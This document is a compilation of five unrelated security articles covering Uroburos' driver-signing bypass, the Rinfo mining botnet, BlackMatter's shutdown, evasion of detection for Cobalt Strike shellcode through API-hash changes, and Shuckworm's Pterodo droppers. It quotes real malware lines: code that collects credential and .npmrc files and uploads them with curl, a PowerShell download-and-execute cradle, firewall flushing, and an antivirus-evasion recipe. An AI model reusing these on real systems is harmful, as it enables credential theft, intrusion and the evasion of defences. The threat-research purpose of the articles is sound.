Uroburos was already described as a very sophisticated and highly complex malware in our G Data Red Paper, where we had a look at the malware’s behavior. This assumption is again supported, looking at its installation process. Uroburos uses a technique not previously known to the public to bypass Microsoft’s Driver Signature Enforcement, an essential part of Windows’ security.
First of all, we would like to send regards and thanks to the people being active on the kernelmode.info forum, in particular, R136a1 and EP_X0FF. They provided a proficient analysis of the Driver Signature Enforcement bypass which enriches the overall understanding of the case.
## Introduction
The following analysis article is closely linked to G DATA’s Red Paper about Uroburos, published on Friday, February 28th. For fellow researchers, we provide the hash of the sample used for this subsequent article:
**SHA256:** 33460a8f849550267910b7893f0867afe55a5a24452d538f796d9674e629acc4
This file is a 64-bit driver, compiled in 2011.
## Kernel Patch Protection
### Definition
The majority of rootkits mainly use kernel modification or kernel patching to hide their activities and modify the behavior of the infected system. To protect the Windows operating system, Microsoft added a new technology to its 64-bit Windows editions. The Kernel Patch Protection technology (aka PatchGuard) checks the integrity of the Windows kernel to make sure that no critical parts are modified. In case a harmful modification of the kernel is detected, the `KeBugCheckEx()` function is executed, called with an argument with the value 0x109 (CRITICAL_STRUCTURE_CORRUPTION) as bug code. The result is a shutdown of the system with a blue screen.
Microsoft describes that the Kernel Patch Protection technology prevents the following modifications:
- Modify system services tables, for example, by hooking the KeServiceDescriptor table
- Modify the Interrupt Descriptor Table (IDT)
- Modify the Global Descriptor Table (GDT)
- Use kernel stacks that are not allocated by the kernel
- Patch any part of the kernel
### Uroburos Mitigation
Uroburos’ developers used the same inline hooks, explained in our previous Red Paper, to bypass Kernel Patch Protection. The attacker’s goal is to hook the `KeBugCheckEx()` function to avoid handling the bug code 0x109.
## Driver Signature Enforcement
### Definition
Rootkits are usually drivers which used to work in kernel space. To avoid this kind of malware, Microsoft created a Driver Signing Policy for its 64-bit versions of Windows Vista and later versions. To load a driver, the .sys file must be signed by a legitimate publisher. Developers may disable the Driver Signature Enforcement process during the development phase of a driver, which means a developer does not have to sign each compiled driver version during the development phase. In this case, the desktop of the machine is changed and the following message appears in the bottom right corner: “Test Mode”. The flag with which the current status of the policy is stored is called `g_CiEnabled`. The value of `g_CiEnabled` is set during the Windows boot phase and considered “static" during runtime. This means Windows assumes the value is set correctly and does not change during runtime.
### Uroburos Mitigation
Uroburos’ developers used new techniques to disable the Driver Signature Enforcement. In our case, they used a vulnerability in a legitimately signed driver to disable the policy! During the installation of Uroburos, the Oracle VirtualBox driver (version 1.6.2) is installed on the targeted system. This driver (VBoxDrv.sys) is signed.
## Conclusion
Previously, we have claimed that Uroburos is a highly complex and very sophisticated malware, programmed by skilled people. This assumption is corroborated once more by the aforementioned analysis of Uroburos’ installation technique.
The developers had to deal with Microsoft Windows security enforcement. They had to find ways to bypass the Kernel Patch Protection technology and also the Driver Signature Enforcement. The technique used to bypass the Kernel Patch Protection has been documented on the Internet and therefore is not absolutely new.
But, concerning the Driver Signature Enforcement, this is the first time that we see a malware using a vulnerability in a legitimately signed driver to disable the policy! This example shows the limitation of the signature process. Generally, the signature expiration date is set to happen several years after its creation date. In case any vulnerability is found, a patch is provided, but the old binary is still available and valid, except in case the certificate is revoked by the author/signer and set onto the CRL, the certificate revocation list.
But, revoking a signature is only the first step in the protection process, because each and every system that needs to check a signature needs to have access to an up-to-date CRL. And even in case the system has an updated CRL, the Uroburos authors are certainly thought to be skilled enough to manipulate the verification process the operating system is using without alerting the user.
So, it is the first time that we see those two techniques to bypass Windows’ protection mechanisms in the wild. We expect that they will be used by more malware in the future.
In case someone from the audience notices an infection caused by the Uroburos rootkit and needs help, would like to receive further technical information, or would like to contribute any information about this case, please feel free to contact us by email using the following mailbox: intelligence@remove-this.gdata.de |
# Rinfo Is Making A Comeback and Is Scanning and Mining in Full Speed
**LIU Ya**
**February 10, 2021**
## Overview
In 2018 we blogged about a scanning and mining botnet family that uses ngrok.io to propagate samples: "A New Mining Botnet Blends Its C2s into ngrok Service". Since mid-October 2020, our BotMon system started to see a new variant of this family that is active again and continues to this day. Compared to the last time, this time it is more aggressive, and as of February 6, 2021, our Anglerfish honeypot has captured 11,864 scanner samples, 1,754 miner samples, and 3,232 ngrok.io C2 domains. The sample captures can be found in the capture log below.
This new variant is still spreading, and here are some key features:
1. The overall structure of the family has not changed; it still consists of scanning and mining modules, with the purpose of scanning being to form a mining botnet.
2. The new ones and the old ones are pretty much the same origin; the function has changed slightly.
3. The new version still relies on ngrok.io to distribute samples and report results.
4. The ports and services that the bot is going after have changed, with Apache CouchDB and MODX removed while 3 new ones of Mongo, Confluence, and vBulletin added.
5. Same as the old ones, the scanner module is only responsible for detecting open ports and services, with no exploit functions integrated.
## Sample Comparison Analysis
The family consists of two core modules: the scanner and the miner, both written in bash script. We named this family rinfo because the scanner module uses a file starting with "/tmp/rinfo" to save the results in both versions. We found no code related to downloading and executing the miner module in the scanner module, and vice versa; there is no code involving the scanner module in the miner module. The only clue to relate them is the same loader IP and the same attacked port. Combining the samples, we speculate that the scanner is the starting module, and after a target is located, the attacker can choose to either implant the scanner module or drop the miner module. Theoretically, the attacker may also implant other functional modules; we will keep an eye on this and disclose any further findings in time.
### Scanner Module
The scanner module analysis is based on the sample md5=01199e3d63c5211b902d18a7817a6997. Like the old version, the job is performed by zmap, jq, and zgrab. The scanner module will download and execute these binaries and then report the results.
Compared with the old version (md5=072922760ec200ccce83ac5ce20c46ca), the biggest change in the new version is the target scan ports and services. The old version went after these ports and services:
- TCP 6379, Redis
- TCP 2375, Docker client version 1.16
- TCP 80/8080, Jenkins/Drupal/MODX
- TCP 5984, Apache CouchDB
The new version no longer scans port 5984 but adds TCP ports of 6380 and 443. In terms of scanned services, Apache CouchDB and MODX have been replaced by Mongo, Confluence, and vBulletin, as can be seen from below:
- TCP 6380, Redis
- TCP 2375, Docker client version 1.16
- TCP 80/443/8080, Jenkins/Mongo/Drupal/Confluence/vBulletin
Another change is the pattern of the URL for reporting scan results. The old version URL is like this:
```
hxxp://cc8ef76b.ngrok.io/z?r=40ddb986122e221e08092943e5faa2ed&i=2a6da41fcf36d873dde9ed0040fcf99ba59f579c3723bb178
```
The new version has changed to 2 URLs, with the value of the i parameter of the URL becoming shorter:
```
hxxp://0c9cbf209b1c.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=${excode}
hxxp://b78cf6364fd3.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=${excode}
```
It should be noted that the subdomain of ngrok.io in all the above URLs is not fixed, and its value is not the same in different scanner samples, which explains why the number of scanner samples is more than 10 thousand. As we mentioned in the previous blog, the goal of all these is probably to increase the difficulty of defense.
The third change is the setting of the target netblocks. In the old version, it was specified in the form of a bash shell array, while in the new version it has changed to a single value.
```
# old
IPR="13.238.160.0/19 52.33.224.0/19 194.42.160.0/19 37.123.128.0/19 146.88.0.0/19 39.97.32.0/19 117.73.160.0/19 58.119.224.0/19 118.89.224.0/19 211.109.32.0/19 211.186.192.0/19 58.123.32.0/19 58.229.224.0/19 52.123.32.0/19 52.244.192.0/19 52.250.224.0/19 63.34.192.0/19 3.114.224.0/19"
# new
IPR="94.130.96.0/19"
```
While the IPR value varies across scanner samples, the mask is always 19 bits. As a summary, there have been 700+ networks checked from scanner samples.
### Miner Module
The analysis of the miner module is based on the sample MD5=1d74fd8d25fa3750405d8ba8d224d084. Similar to the scanner module, the miner module is just a bash script, and the specific mining behavior is achieved by downloading and executing the binary miner programs.
Compared with the old version, the new version of the miner module has not changed much, and the usage pattern for ngrok.io is the same. There are a few minor differences though:
1. The new version no longer downloads and runs the fc program, and the miner program integrates new wallet addresses.
2. The new version removes the ability to infect local .js files.
3. iptables is configured to remove various network restrictions.
4. The function of stealing credentials is added.
The newly added iptables commands are as follows:
```
iptables -P INPUT ACCEPT >/dev/null 2>&1
iptables -P FORWARD ACCEPT >/dev/null 2>&1
iptables -P OUTPUT ACCEPT >/dev/null 2>&1
iptables -t nat -F >/dev/null 2>&1
iptables -t mangle -F >/dev/null 2>&1
iptables -F >/dev/null 2>&1
iptables -X >/dev/null 2>&1
```
The infected .js code at the end of the old version is replaced by the following code to steal credentials:
```
find /home -maxdepth 5 -type f -name 'credentials' 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %'>>$CFG 2>/dev/null
find /home -maxdepth 5 -type f -name '.npmrc' 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %'>>$CFG 2>/dev/null
if [ -s $CFG ]; then
curl -s -F file=@$CFG "$HOST/c?r=${RIP}" >/dev/null 2>&1
rm -rf $CFG
```
This code looks for and uploads the credentials and .npmrc files in /home and its subdirectories. As in the old version, the download server is accessed throughout the miner module via a $HOST variable, which points to a temporary ngrok.io domain. This is where the miner module differs from the scanner module, which assigns a different ngrok subdomain to each URL.
## Conclusion
The new version of rinfo has no major changes compared to the previous one, both in terms of module structure and approach, so we guess that the same people are behind it. From the samples we captured, the purpose of the new version of rinfo is still to form a mining botnet, which may be related to the recent bitcoin price increase. Because this botnet family relies heavily on ngrok.io for propagation, its frequently changing ngrok temporary domain name makes defense difficult. We recommend detecting and blocking this botnet based on its URL patterns.
## Contact Us
Readers are always welcomed to reach us on Twitter or email to netlab at 360 dot cn.
## IoC
**Attacker & Loader IPs**
185.242.6.3
185.159.157.20
**Scanner Modules**
01199e3d63c5211b902d18a7817a6997
http://738a39f8d49c.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=0
**Binaries Used in Scanner**
1ad3216964d073dabec2b843a06042f9 zmap
http://bda5861e074e.ngrok.io/d8/gmap
8f797aef388194277307345ba1bdeb08 zgrab
http://3aee228ab53a.ngrok.io/d8/zgrab
c3461eb5b1abe7551023ef5964ca9080 jq
http://1edab0651a2b.ngrok.io/d8/jq
**Report URLs Found in Scanner Modules**
http://0c9cbf209b1c.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=0
http://b78cf6364fd3.ngrok.io/z?r=0cf45361e2393cb0dc2488fd6db89cba&i=f05e89c39363f65c&x=0
**Miner Modules**
1d74fd8d25fa3750405d8ba8d224d084
http://4bfd95b92a04.ngrok.io/f/serve?l=j&r=99341660c472f43e8124bc255aa0571bt
**Binaries Used in Miner**
323c22138cc098c3d1c11b47fda3c053 CoinMiner
http://bcaf48a9ab6b.ngrok.io/d8/nginx
2b9440c2c2d27a102e2f1e2a7140b57c Doki
http://bcaf48a9ab6b.ngrok.io/d8/daemon
**Report URLs Found in Miner Modules**
http://522240bf9589.ngrok.io/contact?k=1
http://522240bf9589.ngrok.io/contact?r=99341660c472f43e8124bc255aa0571bt&e=1
**Miner Pools & Wallets**
Pool: xmr-eu2.nanopool.org:14444
Wallet: 49JzXdLYqybL4a2u3hpa46WbqiYmd3xT1intPPDxzLR6hRJ81LA72tEMdgESxPnK2hEcVtom3m7ABisXShQkjz
Pool: xmr-asia1.nanopool.org:14444
Wallet: 49JzXdLYqybL4a2u3hpa46WbqiYmd3xT1intPPDxzLR6hRJ81LA72tEMdgESxPnK2hEcVtom3m7ABis
Pool: xmr-us-east1.nanopool.org:14444
Wallet: 49JzXdLYqybL4a2u3hpa46WbqiYmd3xT1intPPDxzLR6hRJ81LA72tEMdgESxPnK2hEcVtom3m7ABis |
# BlackMatter Ransomware Shuts Down Due to Pressure from Local Authorities
The criminal group behind the BlackMatter ransomware has announced plans to shut down their operation, citing pressure from local authorities. The group made this announcement in a message posted in the backend of their Ransomware-as-a-Service portal, where other criminal groups typically register to access the BlackMatter ransomware strain.
The message, dated November 1, 2021, and obtained by a member of the vx-underground infosec group, stated:
> "Due to certain unsolvable circumstances associated with pressure from the authorities (part of the team is no longer available, after the latest news) – the project is closed. After 48 hours, the entire infrastructure will be turned off. It is allowed to:
> - Issue mail to companies for further communication.
> - Get decryptors; for this, write 'give a decryptor' inside the company chat where they are needed.
> We wish you all success; we were glad to work."
While the group did not explain the “latest news” that led to its decision to shut down, their announcement follows three major events that occurred over the past two weeks.
The first was reports from Microsoft and Gemini Advisory linking the FIN7 cybercrime group, considered the creators of the Darkside and BlackMatter strains, to a public cybersecurity firm named Bastion Secure, through which they allegedly recruited unwitting collaborators.
The second was the fact that security firm Emsisoft had secretly developed a decryption utility for the BlackMatter ransomware strain, which the company had been offering to victims to avoid paying the group’s ransom demands, impacting its profits.
The third was a report from the New York Times announcing that the US and Russia had started closer collaboration aimed at cracking down on Russia-based cybercrime and ransomware gangs. This is significant because the FIN7 group has historically been believed to operate out of Russia.
## Political Pressure Mounting on Ransomware Gangs
FIN7’s announcement also comes after operators and members of multiple ransomware operations have been hunted and arrested worldwide this summer. For example, in their previous incarnation as the Darkside ransomware, the FIN7 group had to shut down their operation after their servers were hacked and cryptocurrency funds were stolen, following a suspected law enforcement action.
Additionally, rival ransomware gang REvil shut down not once, but twice, with the second shutdown occurring in October after law enforcement backdoored and hijacked their dark web servers. Furthermore, just last week, Europol detained a Ukrainian group that orchestrated more than 1,800 ransomware attacks with strains such as LockerGoga, MegaCortex, and Dharma, including the devastating attack on aluminum producer Norsk Hydro in early 2019.
This period of intense pressure on ransomware gangs comes after attacks have reached an all-time high this year, with some attacks causing major issues globally. Examples include the Darkside ransomware attack on Colonial Pipeline (which caused fuel supply issues for the US East Coast), the REvil attack on JBS Foods (which disrupted meat supply across the US), and the REvil attack on Kaseya (which disrupted thousands of companies worldwide).
As Jeff Moss, founder of the Black Hat and DEF CON security conferences, stated on Twitter, law enforcement agencies have typically known the identities of most ransomware operators but have also known they couldn’t go after some groups due to Russia’s uncooperative behavior, something that appears to be changing based on BlackMatter’s statement.
> "It’s examples like that that convinced me that ransomware is at least 50% a political problem." — Jeff Moss (@thedarktangent) November 3, 2021
**Tags:** BlackMatter, Darkside, RaaS, Ransomware, Russia, shutdown
Catalin Cimpanu is a cybersecurity reporter for The Record. He previously worked at ZDNet and Bleeping Computer, where he became a well-known name in the industry for his constant scoops on new vulnerabilities, cyberattacks, and law enforcement actions against hackers. |
# Hackers No Hashing: Randomizing API Hashes to Evade Cobalt Strike Shellcode Detection
While researching Application Programming Interface (API) hashing techniques commonly used in popular malware (particularly Metasploit and Cobalt Strike), the Huntress ThreatOps Team found that hackers are sticking to the default settings that come with hacker tooling. Our research has suggested that many detection/antivirus (AV) vendors have realized this and have built their detection logic around the presence of artifacts left by these defaults. With a bit of tinkering and curiosity, we found that if trivial changes are made to those defaults, a large number of vendors will fail to detect otherwise simple and commodity malware. As a result, simple and commodity malware suddenly starts approaching FUD status.
In this post, we’ll dive into how we discovered those minor changes and how you can implement them yourself to test your detection tooling. We have included a script that automates a large portion of this process, as well as a YARA rule which will detect most modifications made using this technique. Whether you’re on Team Red, Team Blue, or anywhere in between, we hope this blog provides some useful insight into an interesting bypass and detection technique.
## Technical TL;DR
Our research suggests that a large number of vendors have based their Cobalt Strike and Metasploit shellcode detection capability on the presence of ROR13 API hashes. By making trivial changes to the ROR13 logic and updating the hashes accordingly, a large number of vendor detections can be seemingly bypassed without breaking code functionality. In order to detect this behavior, YARA rules that previously detected ROR13 hashes can be modified to detect blocks of code associated with typical ROR-based hashing. This move to detection of ROR blocks can provide a more robust means of detection than detecting on hashes alone.
## But First, A Quick Refresher on API Hashing
API hashing is a technique often used by malware to disguise the usage of suspicious APIs (essentially functions) from the prying eyes of a detection analyst or security engineer. Traditionally, if a piece of software needed to call a function of the Windows API (for example, if it wanted to use CreateFileW to create a file), the software would need to reference the API name “directly” in the code. By “directly” using an API, the name of the API is left present in the code. This enables an analyst to easily identify what the piece of suspicious code might be doing.
When a “direct” API call is used, it also leaves the API present in the import table of the file. This import table can be easily viewed within PeStudio or any other analysis tool. If you’re an attacker trying to hide the creation of a malicious file, then neither of these situations is ideal. It would be far better if you could hide your API usage away from an analyst who may see `CreateFileW` and then go searching for suspicious files.
If an attacker doesn’t want their API to show up in an import table, then the alternative is to load the APIs dynamically (when the malware actually runs). The easiest way to do this is to use a Windows function called GetProcAddress. This method avoids leaving suspicious APIs in the import table. A quick caveat using dynamic loading is that although the original suspicious API `CreateFileW` would be absent from the import table, the usage of “GetProcAddress” will now be in the import table instead. A keen-eyed analyst who sees the presence of GetProcAddress can run the malware in a debugger and find out what is being loaded.
A common means of avoiding both of these situations is to use a technique known as API hashing. This is a technique where attackers will implement their own version of GetProcAddress that will load a function by a hash rather than a name. This avoids leaving suspicious APIs in import tables and avoids using suspicious APIs that can be easily viewed in a debugger. If an analyst wants to find out what’s going on, they would need to get familiar with x86 assembly.
## The TL;DR Takeaways
- There are multiple ways to load suspicious APIs; however, most will leave easy-to-find indicators for malware analysts.
- API hashing uses unique hashes rather than function names. This hinders the analysis of function names that target strings or arguments at breakpoints.
## Hashing Indicators
Now that we know why someone might want to use API hashing, we can take a look at how to deal with it when analyzing suspicious code. It is relatively easy to identify, as you will often see random hex values pushed to the stack, followed by an immediate call to a register value. Typically, this call will resemble call rbp, but the register could technically be any value.
In the screenshot, we can see two hex values pushed to a register prior to a `call rbp`. These are the hashes that will be resolved and used to load suspicious functions used by malware. The hashes above correspond to 0x726774c (LoadLibraryA) and 0xa779563a (InternetOpenA). If you were to find the value of rbp in this situation, you would find that it points to the “manual” implementation of GetProcAddress, which then resolves the hash and calls the associated API.
At a high level, the hash resolution logic is similar to the below pseudo code. Additionally, you would find that the Calculatehash Logic, which is largely based on the ror13 hashing algorithm, is similar to this. The value of 0xd (13) is important here as later we will change this value to generate new hashes that can bypass detection. This is a simplification, and the actual logic is slightly more complex.
After analyzing numerous malware samples using API hashing in shellcode, we noticed that similar malware families will often use extremely similar hashing logic to calculate and resolve API hashes. In particular, we found that most Cobalt Strike, Msfvenom, and Metasploit use exactly the same hashing logic for resolving API hashes. Since they utilize the same logic, they produce the same hashes for any given function. For example, both Cobalt Strike and Metasploit will use the hash 0x726774c when resolving “LoadLibraryA”.
## The TL;DR Takeaways
- API hashing is relatively simple to identify through static analysis, although it is difficult to find what the hashes resolve to.
- Similar hashing logic is often used across similar malware families.
- The exact same hashing logic is often across samples from MsfVenom, Metasploit, and Cobalt Strike.
## Poking a Bit Further
We eventually found that it was easy to identify shellcode that was generated by Cobalt Strike or Metasploit simply by googling the hash values present in the code. If we were to google the value of 0x726774c (LoadLibraryA), we would immediately get hits for the Metasploit framework (which shares code with Cobalt Strike). We see the same if we google the hash for 0xa779563a (InternetOpenA).
Generating our own shellcode samples from these frameworks, we observed that the hashes present in our payloads were consistently identifiable as those used by Metasploit and Cobalt Strike.
## The TL;DR Takeaways
- Metasploit and Cobalt Strike (at least by default) use the same API hashing routine and will produce the same hash values when using the same function.
- These hashes introduce unique hex values that can be used to easily identify the malware families by using Google.
## YARA Rules
From the perspective of a security analyst or detection engineer, this was great information. Without performing a deep dive into shellcode and assembly, we could easily identify that a payload likely belonged to either Metasploit or Cobalt Strike. This got us thinking—if these hash values are unique to tools like Cobalt Strike and Metasploit… what if those hashes are unique enough to be used for YARA rules?
We found a fantastic article from Avast that captured the same idea. Their article details the use of these same API hashes to detect Cobalt Strike and Metasploit shellcode. Below we can see a YARA rule from Avast which relies largely on the hashes we previously identified (as well as the other hashes required for an HTTP stager). Testing these YARA rules against our raw Cobalt Strike and Metasploit shellcode (without any encoders enabled), we confirmed the Avast YARA ruleset reliably detected and identified all of our generated payloads. Great news for Team Blue—and great work from the Threat Intel Team at Avast.
## The TL;DR Takeaways
- API hashes present in shellcode are reliable indicators that can be used for detection.
- Vendors are actively using these indicators to detect malicious shellcode.
## But What if the Hashes in the Shellcode Are Changed?
At face value, the usage of API hashes for detection is a great idea. But that got us thinking, what happens if those hash values were to change? As an initial proof-of-concept, we took our payloads and rather crudely changed the hashes to 0x11111111. We knew this would break the shellcode as the hashes would no longer resolve—but it would allow us to check how well the shellcode is detected without the presence of known API hashes.
Our new shellcode would contain hashes like this in place of the actual hashes seen before. We then did a before and after check on a Cobalt Strike HTTP payload using Virustotal, and found that 15 vendors failed to detect the shellcode after these changes were made. As a proof-of-concept, this was pretty interesting. But as an attacker, this is largely useless. In its current modified state, the shellcode would no longer resolve hashes and would not be able to find the APIs it requires in order to execute—turning our shellcode into a nice digital paperweight.
## The TL;DR Takeaways
- At least some vendors are using API hashes to detect Cobalt Strike and similar malware.
- If these defaults are changed, at least some vendors will fail to detect previously detected payloads.
- Crudely modifying API hashes will break your code.
## But What if Modified Hashes Could Resolve Properly?
After confirming our suspicion that vendors were using API hashes to detect shellcode, we decided to explore what would happen if the hashes were modified less crudely, in a way that would still enable the modified hashes to resolve and execute. First, we needed to understand exactly how the hashes were generated. Our ThreatOps team was able to discover this through a combination of the Metasploit source code and by analyzing the assembly instructions present in samples of shellcode.
By nature of how hashing works, we theorized that it should only take minor changes to the hashing logic to produce vastly different hashes. In the end, rather than getting fancy with any entirely new hashing routines, we decided to just change the rotation value in the existing logic from 0xd/13 to 0xf/15. In theory, this would result in entirely new hashes, while maintaining largely the same logic and hashing structure.
We then created a script to generate new hashes according to our new rotation value of 0xf. After generating new hash values, we then updated our shellcode to correspond to our new hashes, and our new ror value of 0xf. Note that our shellcode structure is still largely intact, the only thing that changed is the hash and rotation (ror) values. We then confirmed that our code was still able to function as expected.
This process was vastly sped up using the Speakeasy tool from FireEye. Below we can see a screenshot of the APIs still successfully resolving in our newly modified shellcode. Using a combination of netcat and the BlobRunner tool from OAlabs, we did an extra check to confirm that our shellcode still worked and would “call out” as expected. After confirming that our code definitely still worked, we uploaded it to VirusTotal. And found that we still had two vendors remaining, the same two vendors from our previous dummy value testing.
This was pretty interesting, since this was now functioning Cobalt Strike shellcode—with 15 fewer detections than before it was modified. For a sanity check, we re-ran the same process using a TCP bind shell from Metasploit (no encoders enabled). After confirming that the code still worked, we submitted it to VirusTotal and found that 26 vendors had failed to detect the modified payload.
During our analysis, it was interesting to note that the two remaining vendors differed between the modified payloads. At this point, we also checked that the original YARA rules were no longer detecting our payloads. And confirmed that they were no longer being detected.
## The TL;DR Takeaways
- A large number of vendors are using default ror13 hashes to detect Cobalt Strike and Metasploit/Msfvenom payloads.
- Modifying these hashes has a considerable impact on detection rates.
- When done properly, modifying these hashes will not break shellcode functionality.
- This technique works well on both Msfvenom and Cobalt Strike. Hence likely works on other malware families too.
## So What About Those Remaining Vendors?
Rather than leave it at 2/55, we decided to tackle the two remaining vendors detecting our shellcode. First, we noted that the remaining vendors were detecting generic shellcode and not Cobalt Strike or Metasploit specifically. This led us to believe that they were detecting generic shellcode indicators, rather than anything specific to our family of malware.
We theorized the following might be targeted by the remaining vendors, since they are behaviors typically associated with shellcode:
- CLD/0xfc being the first instructions executed - (CLD is used to reset direction flags used in byte/string copy operations)
- Suspicious calls to registers (eg call rbp)
- Presence of library names in stack strings
To test, we slightly modified these indicators in our remaining payload. We achieved this by moving the initial CLD instruction to another location in our shellcode, so that it still executed but was no longer the first instruction. Inserting a NOP/0x90 in place of the original CLD. Inserting an uppercase character in the arguments to the initial call to LoadLibraryA.
Below, we have a before and after of the modified shellcode. Note the minor changes from “wininet” (all lower case) to “wIninet” (one upper case I). As well as the CLD instruction now located after our pop rbp. We then confirmed that our shellcode still functioned, and then resubmitted it to VirusTotal. Finally, we had hit 0/55 detections without breaking our code. We then checked the same with Antiscan and found that we had also hit zero detections for our Cobalt Strike shellcode—whereas a non-modified copy had 13 detections.
## The TL;DR Takeaways
- Vendors are definitely using API hashes to identify Cobalt Strike shellcode.
- Removing API hashes will remove most—but not all—VirusTotal detections.
- Lacking hashes, some vendors will detect on other generic shellcode indicators.
- We can modify these remaining indicators to achieve zero detections.
## Automating the Process
Since the hashing replacement process could be achieved with a byte-level search and replace, the Huntress ThreatOps team developed a script to automate the process. This script:
- Takes a raw shellcode file as input (no encoders present).
- Automates the hash replacement process, using a randomized ror value between one and 255.
- Since a different ror value is used each time, a unique file and hash is generated upon each run, allowing multiple files to be created for a single piece of shellcode.
We decided not to automate the process of upper-casing the library name and moving the CLD/0xfc, so you will need to do those manually if you wish to have zero detections. Both activities can be done manually and with minimal effort using a hex editor. In order to use the script, generate a raw payload with Msfvenom or Cobalt Strike (make sure your output is raw—do NOT use any encoders), save it to a raw binary file and then pass it as an argument to the Python script. The script will handle the hash replacement process with a random ror value and unique hashes.
## Notes and Limitations of This Script
- This script only replaces hashes and the hashing logic. If there are other suspicious indicators in your shellcode, you may need to find your own method to hide them.
- This script is NOT an encoder, so you will still need to deal with bad characters and null bytes within your shellcode.
- Using a public and well-known encoder (like Shikata ga nai) will introduce its own indicators which will work against you.
## Detection of Modified Shellcode
After confirming that our script for generating new shellcode works for bypassing generic detections, we then developed a YARA rule for detecting shellcode generated by our script. Below we’ve included a copy of a YARA that detected all Msfvenom and Cobalt Strike payloads that we tested with, regardless of whether they had been modified by our script. In our testing, we did not hit any false positives within our test set of binaries, but you may wish to modify the rule to fit your needs if false positives arise.
## How It Works
Since existing detection rules are detecting hashes generated by the hashing routine (which can be easily changed), this rule detects the hashing routine itself. This allows for slightly more robust detection of Cobalt Strike and Metasploit shellcode. As with any detection, this rule is not bulletproof. A determined attacker can introduce more complex changes to the hashing routine which will break this YARA rule. We have allowed for minor variations in our rule, but more complex changes will still defeat it.
## Final Comments
Clearly, detections aren’t always perfect, and a well-determined attacker will always be able to sneak through. If you’re a defender, make sure you’re always testing and updating your detection rules (you never know what might sneak past). If you’re an attacker (a Red Teamer, of course), don’t rely on defaults to get you by—simple changes can have a significant impact on your chances of being detected.
### Key Takeaways
**Team Blue**
- Continuously test and update your detection logic.
- Actively threat hunt! No alerts ≠ no malware.
- Search through a variety of log sources—an AV may not have caught this, but the network traffic might stand out like a sore thumb.
**Team Red**
- Don’t use defaults! Tinker with everything.
- Don’t be afraid to get familiar with assembly! |
# Shuckworm: Espionage Group Continues Intense Campaign Against Ukraine
The Russian-linked Shuckworm espionage group (aka Gamaredon, Armageddon) is continuing to mount an intense cyber campaign against organizations in Ukraine. Shuckworm has almost exclusively focused its operations on Ukraine since it first appeared in 2014. These attacks have continued unabated since the Russian invasion of the country. While the group’s tools and tactics are simple and sometimes crude, the frequency and persistence of its attacks mean that it remains one of the key cyber threats facing organizations in the region.
## Multiple payloads
One of the hallmarks of the group’s recent activity is the deployment of multiple malware payloads on targeted computers. These payloads are usually different variants of the same malware (Backdoor.Pterodo), designed to perform similar tasks. Each will communicate with a different command-and-control (C&C) server.
The most likely reason for using multiple variants is that it may provide a rudimentary way of maintaining persistence on an infected computer. If one payload or C&C server is detected and blocked, the attackers can fall back on one of the others and roll out more new variants to compensate.
Symantec’s Threat Hunter Team, part of Broadcom Software, has found four distinct variants of Pterodo being used in recent attacks. All of them are Visual Basic Script (VBS) droppers with similar functionality. They will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a C&C server. All of the embedded VBScripts were very similar to one another and used similar obfuscation techniques.
### Backdoor.Pterodo.B
This variant is a modified self-extracting archive, containing obfuscated VBScripts in resources that can be unpacked by 7-Zip. It then adds them as a scheduled task to ensure persistence:
```vbscript
CreateObject("Shell.Application").ShellExecute "SCHTASKS", "/CREATE /sc minute /mo 10 /tn " + """UDPSync"" /tr ""wscript.exe """ + hailJPT + """" & " jewels //b joking //e VBScript joyful "" /F ", "" , "" , 0
CreateObject("Shell.Application").ShellExecute "SCHTASKS", "/CREATE /sc minute /mo 10 /tn " + """SyncPlayer"" /tr ""wscript.exe """ + enormouslyAKeIXNE + """" + " jewels //b joking //e VBScript joyful "" /F ", "" , "" , 0
```
The script also copies itself to [USERPROFILE]\ntusers.ini file. The two newly created files are more obfuscated VBScripts. The first is designed to gather system information, such as the serial number of the C: drive, and sends this information to a C&C server. The second adds another layer of persistence by copying the previously dropped ntusers.ini file to another desktop.ini file.
### Backdoor.Pterodo.C
This variant is also designed to drop VBScripts on the infected computer. When run, it will first engage in API hammering, making multiple meaningless API calls, which is presumably an attempt to avoid sandbox detection. It will then unpack a script and a file called offspring.gif to C:\Users\[username]\. It will call the script with:
```vbscript
"wscript "[USERNAME]\lubszfpsqcrblebyb.tbi" //e:VBScript /w /ylq /ib /bxk //b /pgs"
```
This script runs ipconfig /flushdns and executes the offspring.gif file. Offspring.gif will download a PowerShell script from a random subdomain of corolain.ru and execute it:
```powershell
cvjABuNZjtPirKYVchnpGVop = "$tmp = $(New-Object net.webclient).DownloadString('http://'+ [System.Net.DNS]::GetHostAddresses([string]$(Get-Random)+'.corolain.ru') +'/get.php'); Invoke-Expression $tmp"
```
### Backdoor.Pterodo.D
This variant is another VBScript dropper. It will create two files:
- [USERPROFILE]\atwuzxsjiobk.ql
- [USERPROFILE]\abide.wav
It executes them with the following command:
```vbscript
wscript "[USERPROFILE]\atwuzxsjiobk.ql" //e:VBScript /tfj /vy /g /cjr /rxia //b /pyvc
```
Similar to the other variants, the first script will run ipconfig /flushdns before calling the second script and removing the original executable. The second script has two layers of obfuscation, but in the end, it downloads the final payload from the domain declined.delivered.maizuko[.]ru and executes it.
### Backdoor.Pterodo.E
The final variant is functionally very similar to variants B and C, engaging in API hammering before extracting two VBScript files to the user’s home directory. Script obfuscation is very similar to other variants.
## Other tools
While the attackers have made heavy use of Pterodo during recent weeks, other tools have also been deployed alongside it. These include UltraVNC, an open-source remote-administration/remote-desktop-software utility. UltraVNC has previously been used by Shuckworm in multiple attacks.
In addition to this, Shuckworm has also been observed using Process Explorer, a Microsoft Sysinternals tool designed to provide information about which handles and DLL processes have opened or loaded.
## Persistent threat
While Shuckworm is not the most tactically sophisticated espionage group, it compensates for this in its focus and persistence in relentlessly targeting Ukrainian organizations. It appears that Pterodo is being continuously redeveloped by the attackers in a bid to stay ahead of detection.
While Shuckworm appears to be largely focused on intelligence gathering, its attacks could also potentially be a precursor to more serious intrusions if the access it acquires to Ukrainian organizations is turned over to other Russian-sponsored actors.
## Protection/Mitigation
